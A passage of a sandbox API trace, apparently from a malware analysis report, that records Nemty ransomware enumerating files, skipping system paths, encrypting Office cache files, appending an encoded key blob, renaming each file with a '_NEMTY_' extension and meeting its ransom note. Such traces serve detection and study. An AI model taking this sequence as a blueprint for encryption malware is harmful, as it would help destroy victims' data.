lpString2="programdata") returned -1 [0048.550] lstrcmpiW (lpString1="GrooveMUI.xml", lpString2="appdata") returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f250, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f2a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GrooveMUI.xml", cchWideChar=13, lpMultiByteStr=0x653f2d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GrooveMUI.xml", lpUsedDefaultChar=0x0) returned 13 [0048.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94380 [0048.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0048.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.550] Sleep (dwMilliseconds=0x5) [0048.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0a5a550, dwHighDateTime=0x1d561e7)) [0048.561] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0a5a550, dwHighDateTime=0x1d561e7)) [0048.561] GetLastError () returned 0x0 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.561] GetLastError () returned 0x0 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.561] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.561] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.561] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.561] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="UOaMXu9Ksyk6JI9P0c+JI1uCszCUjjs8d7rlPzgfXMIZuOtudl6Rr1h80q/C75jt\r\nzOUc28U0iiWdGbeMYyOUdUi/UzFIjK4j3uUYRzuFWlQM8sdGKcvEnre0CsQstWej\r\nIldQqbYE4kDOp70nUE5oT5AEfPv77jN/0NInbuLFwLHrikIgIxff/ifE5aqSJPLm\r\nxI3OQH7+/eMrkyDp+d2uqDdsoq+9FNsRBnJeyoueFa2JwfewAjdwHlDjOKcVUc6m\r\nHlbUFBsBUpraj8dcrOYBVjYj33Iuxpb04TH4gMvC6eXK6YCZuar9FeyIvJaS/nvE\r\n9s9H8Gc9HjT7xM1LF5+FsA==\r\n", pcchString=0x653ef9c) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.562] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=913) returned 1 [0048.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x390) returned 0x6343fe8 [0048.562] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.562] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x390, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x390, lpOverlapped=0x0) returned 1 [0048.563] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.564] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x390, lpOverlapped=0x0) returned 1 [0048.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.564] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x391 [0048.564] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.565] CloseHandle (hObject=0x3c8) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.565] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.565] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.565] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.566] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.xml._nemty_kgobjgd_")) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.566] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.566] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.567] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.567] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0048.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.567] Sleep (dwMilliseconds=0x5) [0048.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0a806b0, dwHighDateTime=0x1d561e7)) [0048.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0a806b0, dwHighDateTime=0x1d561e7)) [0048.576] GetLastError () returned 0x0 [0048.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.576] GetLastError () returned 0x0 [0048.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.576] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.576] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.577] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.577] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.577] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="rlrUgxk2Q8Cx67U4E0c2NGZW06ofdklDS5va0T2CdX70uOn1+/Z5N0hWFcU+MdDp\r\n8Bytes9OaWMP+oDYtDAMqHHno4J7vWtfJRzjooRrJ5vJiF4LlUKeiued5GEvGyWD\r\nrMmmEOC5NkQMTDHbpdqb1RjDhHQNESLie357k7VC28Y425rTyHW+ghghtwPjRtQd\r\nVSzC/HOu6qbyRHr1mv9jyCpit4Vi5PYeiJgBn0/NZBTVLLJruEjXAs+1Medd7Sx0\r\nAgwHY4hu6G3pWMzYaodL2jhzWX++goDzE04f05aGeWIpWMQQeX6irLhIzMbjKeRI\r\n+rcit7+g8QBf0HbkR0iFTA==\r\n", pcchString=0x653ef9c) returned 1 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.577] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.577] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=1452) returned 1 [0048.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a0) returned 0x6343fe8 [0048.577] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.577] ReadFile (in: hFile=0x3c8, lpBuffer=0x6343fe8, nNumberOfBytesToRead=0x5a0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesRead=0x653f1e4*=0x5a0, lpOverlapped=0x0) returned 1 [0048.579] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.579] WriteFile (in: hFile=0x3c8, lpBuffer=0x6343fe8*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6343fe8*, lpNumberOfBytesWritten=0x653f1dc*=0x5a0, lpOverlapped=0x0) returned 1 [0048.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.579] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=1452, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5ac [0048.579] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.579] CloseHandle (hObject=0x3c8) returned 1 [0048.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.580] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml._nemty_kgobjgd_")) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.581] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.581] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0975d10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0975d10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0975d10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 